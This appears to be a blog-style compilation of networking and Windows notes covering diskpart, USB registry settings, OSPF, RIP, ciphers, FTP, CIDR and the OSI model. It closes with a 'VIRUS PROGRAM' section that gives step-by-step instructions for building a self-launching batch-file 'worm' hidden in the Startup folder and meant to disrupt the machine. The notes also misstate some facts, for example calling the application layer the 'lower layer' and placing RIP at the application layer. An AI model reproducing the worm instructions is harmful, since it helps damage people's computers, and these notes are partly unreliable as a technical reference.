To change a dynamic disk back to a basic disk using a command line

• The disk must not have any volumes nor contain any data before you can change it back to a basic disk.
  
• If you want to keep your data, back it up or move it to another volume before you convert the disk to a basic disk.
  
• Once you change a dynamic disk back to a basic disk, you can create only partitions and logical drives on that disk.

1. Back up all volumes on the disk you want to convert from dynamic to basic.

2. Open a command prompt and type diskpart.

3. At the DISKPART prompt, type list disk. Make note of the disk number you want to convert to basic.

4. At the DISKPART prompt, type select disk <disknumber>.

5. At the DISKPART prompt, type detail disk <disknumber>.

6. For each volume on the disk, at the DISKPART prompt, type select volume= <volumenumber> and then type delete volume.

7. At the DISKPART prompt, type select disk <disknumber>. Specify the disk number of the disk that you want to convert to a basic disk.

8. At the DISKPART prompt, type convert basic.

Disable USB ports on Windows PC via Registry

1. Click on Start.
2. Click on Run. If you cannot find RUN, type it in the search box.
3. Type "regedit" without quotes. This will launch the Registry Editor.
4. Navigate to  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\usbstor.
5. In the work area, double click on Start.
6. In the Value Data box, enter 4.
7. Click on OK.
8. Close Registry Editor and refresh your desktop.
9. To re-enable access to your USB ports, enter 3 in the Value Data box in Step 6.

Try it in your Risk.

Open Shortest Path First(Protocol)

Open Shortest Path First (OSPF) is a routhing Protocol.

protocol for Internet Protocol (IP) networks. It uses a link state routing algorithm and falls into the group of interior routing protocols, operating within a single autonomous system (AS).

Note:

• Link state Routing Protocol.
• No Limit of Hop Count.
• AD (Administrative Distance) value 110.
• OSPF support cost and bandwidth as Metric.
• OSPF was design only for IP Network.
• Develop by IETF(Internet Engineering Task Force ).
• Three Version of OSPF.

1.           Ver 1
2.           Ver 2
3.            Ver 3

• OSPF can Support Authentication  CIDR and VLSM.
• Support Multi casting.
• Work with Autonomous System and Area.
• Utilize the more hardware sunc as processor and ram.
• keep the entire Topology Information in Router memory.
• It always Computing the Network Information by sending Advertisement packet. 
  
  
   

Ciphertext

In cryptography, ciphertext or cyphertext is the result of encryption performed on plaintext using an algorithm, called a cipher. Ciphertext is also known as encrypted or encoded information because it contains a form of the original plaintext that is unreadable by a human or computer without the proper cipher to decrypt it. Decryption, the inverse of encryption, is the process of turning ciphertext into readable plaintext. Ciphertext is not to be confused with codetext because the latter is a result of a code, not a cipher.

                           
Types of ciphers(classical ciphers and Modern Ciphers)
The history of cryptography began thousands of years ago. Cryptography uses a variety of different types of encryption. Earlier algorithms were performed by hand and are substantially different from modern algorithms, which are generally executed by a machine.

Historical pen and paper ciphers used in the past are sometimes known as classical ciphers. They include:

•         Substitution cipher: the units of plaintext are replaced with ciphertext (Caesar cipher and One-time pad)

•         Transposition cipher: the ciphertext is a permutation of the plaintext (Rail fence cipher)

•         Polyalphabetic substitution cipher: a substitution cipher using multiple substitution alphabets (Vigenère cipher and Enigma machine)

•         Permutation cipher: a transposition cipher in which the key is a permutation

Historical ciphers are not generally used as a standalone encryption solution because they are quite easy to crack. Many of the classical ciphers can be cracked using brute force or by analyzing only ciphertext with the exception of the one-time pad.

Modern ciphers
Modern ciphers are more secure than classical ciphers and are designed to withstand a wide range of attacks. An attacker should not be able to find the key used in a modern cipher, even if he knows any amount of plaintext and corresponding ciphertext. Modern encryption methods can be divided into the following categories:
•         Private-key cryptography (symmetric key algorithm): the same key is used for encryption and decryption
•         Public-key cryptography (asymmetric key algorithm): two different keys are used for encryption and decryption
NOTE:-
 In a symmetric key algorithm (e.g., DES and AES), the sender and receiver must have a shared key set up in advance and kept secret from all other parties; the sender uses this key for encryption, and the receiver uses the same key for decryption. In an asymmetric key algorithm (e.g., RSA), there are two separate keys: a public key is published and enables any sender to perform encryption, while a private key is kept secret by the receiver and enables only him to perform correct decryption.
Symmetric key ciphers can be divided into block ciphers and stream ciphers. Block ciphers operate on fixed-length groups of bits, called blocks, with an unvarying transformation. Stream ciphers encrypt plaintext digits one at a time on a continuous stream of data and the transformation of successive digits varies during the encryption process.

Data Encryption and Decryption

• Encryption is the process of translating plain text data (plaintext) into something that appears to be random and meaningless (ciphertext). Decryption is the process of converting ciphertext back to plaintext.

• To encrypt more than a small amount of data, symmetric encryption is used. A symmetric key is used during both the encryption and decryption processes. To decrypt a particular piece of ciphertext, the key that was used to encrypt the data must be used.

• The goal of every encryption algorithm is to make it as difficult as possible to decrypt the generated ciphertext without using the key. If a really good encryption algorithm is used, there is no technique significantly better than methodically trying every possible key. For such an algorithm, the longer the key, the more difficult it is to decrypt a piece of ciphertext without possessing the key.
  
• It is difficult to determine the quality of an encryption algorithm. Algorithms that look promising sometimes turn out to be very easy to break, given the proper attack. When selecting an encryption algorithm, it is a good idea to choose one that has been in use for several years and has successfully resisted all attacks.

File Transfer Protocol (FTP)

 File Transfer Protocol (FTP)  is the protocol that actually lets us transfer files, and it can accomplish this between any two machines using it. But FTP isn’t just a protocol; it’s also a program. Operating as a protocol, FTP is used by applications. As a program, it’s employed by users to perform file tasks by hand. FTP also allows for access to both directories and files and an accomplish certain types of directory operations, such as relocating into different ones. FTP teams up with Telnet to transparently log you into the FTP server and then provides for the transfer of files.
           Accessing a host through FTP is only the first step, though. Users must then be subjected to an authentication login that’s probably secured with passwords and usernames implemented by system administrators to restrict access. But you can get around this somewhat by adopting the username “anonymous”—though what you’ll gain access to will be limited.
            Even when employed by users manually as a program, FTP’s functions are limited to listing and manipulating directories, typing file contents, and copying files between hosts. It can’t Execute remote files as programs.

w3school.com is offline

First of all download the offline package of w3schools from the link given here.

DOWNLOAD

Now extract the package.  The main file to open is situated in the folder www.w3schools.com . This folder has two files known as default. One is a notepad file and another is a html file. Double click on the html file. Thats it.

Routing Information Protocol (RIP)

               

Routing Information Protocol (RIP) is a true distance-vector routing protocol. It sends the complete routing table out to all active interfaces every 30 seconds. RIP only uses hop count to determine the best way to a remote network, but it has a maximum allowable hop count of 15 by default, meaning that 16 is deemed unreachable. RIP works well in small networks, but it’s inefficient on large networks with slow WAN links or on networks with a large number of routers installed.

               RIP version 1 uses only classfull routing, which means that all devices in the network must use the same subnet mask. This is because RIP version 1 doesn’t send updates with subnet mask information in tow. RIP version 2 provides something called prefix routing, and does send subnet mask information with the route updates. This is called classless routing.

 

    Summary:-

 v Works on application layer

 v Open standard protocols

 v Dynamic routing protocols

 v Supports hop -count  matric 

 v Support maximum 15 hop-count

 v Support six equal cost path

 v Used distance vector algorithms

 v It only check the neighbour

 v Its only exchange the updates or routing table with neighbour

 v Two type of version

1.    RIP V-1       2.RIP V-2

                        RIP Timers

RIP uses three different kinds of timers are following:-

Update timer:-

Sets the interval (typically 30 seconds) between periodic routing updates,in which the router sends a complete copy of its routing table out to all neighbors.

Invalid timer:-

 Determines the length of time that must elapse (180 seconds) before a router determines that a route has become invalid. It will come to this conclusion if it hasn’t heard any updates about a particular route for that period. When that happens, the router will send out updates to all its neighbors letting them know that the route is invalid.

Holddown timer:-

This sets the amount of time during which routing information is suppressed. Routes will enter into the holddown state when an update packet is received that indicated the route is unreachable. This continues until either an update packet is received with a better metric or until the holddown timer expires. The default is 180 seconds.

Flush timer:-

 Sets the time between a route becoming invalid and its removal from the routing table (240 seconds). Before it’s removed from the table, the router notifies its neighbors

of that route’s impending demise. The value of the route invalid timer must be less than that of the route flush timer. This gives the router enough time to tell its neighbors about the invalid route before the local routing table is updated.

Autonomous System (Internet)

An autonomous system (AS) is the unit of router policy, either a single network or a group of networks that is controlled by a common network administrator (or group of administrators) on behalf of a single administrative entity (such as a university, a business enterprise, or a business division). An autonomous system is also sometimes referred to as a routing domains . An autonomous system is assigned a globally unique number, sometimes called an Autonomous System Number (ASN).

   Networks within an autonomous system communicate routing information to each other using an Interior Gateway Protocol (IGP ). An autonomous system shares routing information with other autonomous systems using the Border Gateway Protocol (BGP ). Previously, the Exterior Gateway Protocol (EGP) was used. In the future, the BGP is expected to be replaced with the OSI Inter-Domain Routing Protocol (IDRP)

• Range from 1-65535.

AD VALUE (Administrative distance){0-255}

Administrative distance (AD) is an arbitrary numerical value assigned to a routing protocol, a static route or a directly-connected route based on its perceived quality of routing. The administrative distance (AD) value is often used by Cisco routers to determine the "best" route that should be used when multiple paths to the same destination exist. A routing protocol with a lower administrative distance is considered "better" and is given priority over routing protocols with higher administrative distances. The "better" route is selected by the router and is inserted into the router's routing table to be used to route traffic. For example, routes issued by EIGRP are considered more reliable than routes issued by RIP. This is because EIGRP has an administrative distance of 90 while RIP has an administrative distance of 120. The administrative distance (AD) value may be set manually by a network administrator. If a network administrator fails to properly set the administrative distance or configures multiple routing protocols with the same administrative distance, the router will use the default administrative distance.

Classless Inter-Domain Routing (CIDR)

    When you receive a block of addresses from an ISP, what you get will look something like
this: 192.168.10.32/28. What this is telling you is what your subnet mask is. The slash notation
(/) means how many bits are turned on (1s). Obviously, the maximum could only be /32 because
a byte is 8 bits and there are four bytes in an IP address: (4
×
8 = 32). But keep in mind that the
largest subnet mask available (regardless of the class of address) can only be a /30 because
you’ve got to keep at least 2 bits for host bits.
Take for example a Class A default subnet mask, which is 255.0.0.0. This means that the first
byte of the subnet mask is all ones (1s) or 11111111. When referring to a slash notation, you
need to count all the 1s bits to figure out your mask. The 255.0.0.0 is considered a /8 because
it has 8 bits that are 1s—that is, 8 bits that are turned on.

       A Class B default mask would be 255.255.0.0, which is a /16 because 16 bits are ones (1s):11111111.11111111.00000000.00000000.

Subnet Mask                            CIDR Value

255.0.0.0                                 /8

255.128.0.0                             /9

255.192.0.0                             /10

255.224.0.0                             /11

255.240.0.0                             /12

255.248.0.0                             /13

255.252.0.0                             /14

255.254.0.0                             /15

255.255.0.0                             /16

255.255.128.0                         /17

255.255.192.0                         /18

255.255.224.0                         /19

255.255.240.0                         /20

255.255.248.0                         /21

255.255.252.0                         /22

255.255.254.0                         /23

255.255.255.0                         /24

255.255.255.128                     /25

255.255.255.192                     /26

             

OSI model

            The Open Systems Interconnection model (OSI) is a conceptual model that characterizes and standardizes the internal functions of a communication system by partitioning it into abstraction layers. The model is a product of the Open Systems Interconnection project at the International Organization for Standardization (ISO), maintained by the identification ISO/IEC 7498-1.

    The model groups communication functions into seven logical layers.

Ø Layer1: physical layer

Ø Layer2: data link layer

Ø Layer3: network layer

Ø Layer4: transport layer

Ø Layer5: session layer

Ø Layer6: presentation layer

Ø Layer7: application layer

Layer 1: Physical layer:-

       The 1^st layer of OSI model is the physical layer. The function of this layer is the transmission of bits over the network media i.e. it provides a physical connection for the transmission of data among the network devices.

                    IT is responsible for following:-

v It defines the electrical and physical specifications of the data connection. It defines the relationship between a device and a physical transmission medium (e.g., a copper or fiber optical cable). This includes the layout of pins, voltages, line impedance, cable specifications, signal timing, hubs, repeaters, network adapters, host bus adapters (HBA used in storage area networks) and more.

v  It defines the protocol to establish and terminate a connection between two directly connected nodes over a communications medium.

v  It may define the protocol for flow control.

v  It defines a protocol for the provision of a (not necessarily reliable) connection between two directly connected nodes, and the modulation or conversion between the representation of digital data in user equipment and the corresponding signals transmitted over the physical communications channel. This channel can involve physical cabling (such as copper and optical fiber) or a wireless radio link.

Layer 2: Data link layer

       It  provides the physical transmission of data and handles error notification, network topology and flow control i.e. The main purpose of this layer provide a reliable method of transmitting data across the physical media.

                This layer break the input data into FRAMES, transmits the frame sequentially and process the acknowledged frames sent back by the receiver.

The data link layer is divided into two sublayers

v Media Access Control (MAC) layer - responsible for controlling how computers in the network gain access to data and permission to transmit it.

v   Logical Link Control (LLC) layer - control error checking and packet synchronization.

Layer 3: Network layer

           The network layer is responsible for packet forwarding including routing through intermediate routers, where the data link layer is responsible for media access control  flow control and error checking.

          A network is a medium to which many nodes can be connected, on which every node has an address and which  permits nodes connected to it to transfer messages to other nodes connected to it by merely providing the content of a message and the address of the destination node and letting the network find the way to deliver  ("route") the message to the destination node.

In this layer switching, Addressing ,Route definition, Route discovery operation is perform.

Layer 4: Transport layer

            This layer is the heart of the whole protocol hierarcy. Its task is to provide reliable cost-effective data transport from the source machine to destination machine, Independently of the physical network or network currently in use . It is upper layer of OSI model.

                 IN this layer flowing operation is perform :-

  Packet & sequencing , flow control, error control, Multiplexing, End to End delivery Addressing , Loss control.

Layer 5: session layer

     IN session layer it establishes, manage and terminate connection b/w application. The session layer sets up, co-ordinates and terminate conversations, exchange and dialogues b/w the application at each end.

  It deals with session and connection co-ordination.

 Session layer enables connection in different mode.

1.   Simplex

2.   Duplex

1.   Half duplex     2. Full duplex.

Layer 6: Presentation layer

   This layer provides independence from data representation (e.g., encryption) by translating between application and network formats. The presentation layer transforms data into the form that the application accepts. This layer formats and encrypts data to be sent across a network. It is sometimes called the syntax layer.

1.   Encryption – decryption.

   2.   Translation – de translation

   3.   Compression- de compression.

   

Layer 7: Application layer

 Which connect supplication software to network are know as application protocols (application layer)

    Everything at this layer is application specific. This layer provides application services for file transfer, e-mail and other network software service. It is the lower layer of OSI model.    

            

VIRUS PROGRAM

Now i'am gonna tell you how to write a simple worm virus:-

 1.Log on to your computer as an administrator.
 2.Go on C drive and create a folder, name it "Programs"
 3.Open up notepad and type in "@echo off"
 4.Then, write "Copy C:\Programs\virus.bat C:\Programs" on the second line. On the third line write "Start C:\Programs\virus.bat".
 5.Click "Save as" and save as virus.bat in the file
 (Programs) you just made.
 6.If you want the worm to start whenever the computer starts, right click on "virus.bat" and click create shortcut. A shortcut will be made on programs.
 7.Right click on the shortcut icon and click "cut".
 8.Right click on the shortcut and click "copy".
 9.Right click on your start menu and click "explore".
 10.Go to All Programs, then find the file named startup.
 11.Paste the shortcut onto the startup folder.
 12.Right click on the shortcut and go to properties, click on hidden, then press "Apply" or "OK".
 You have successfully made a working worm virus. To start it, restart your computer and the disk space on C drive will
 be eaten away!!!!!!!!!!!!
 caution:To get rid of the worm virus just simply delete the "programs" file.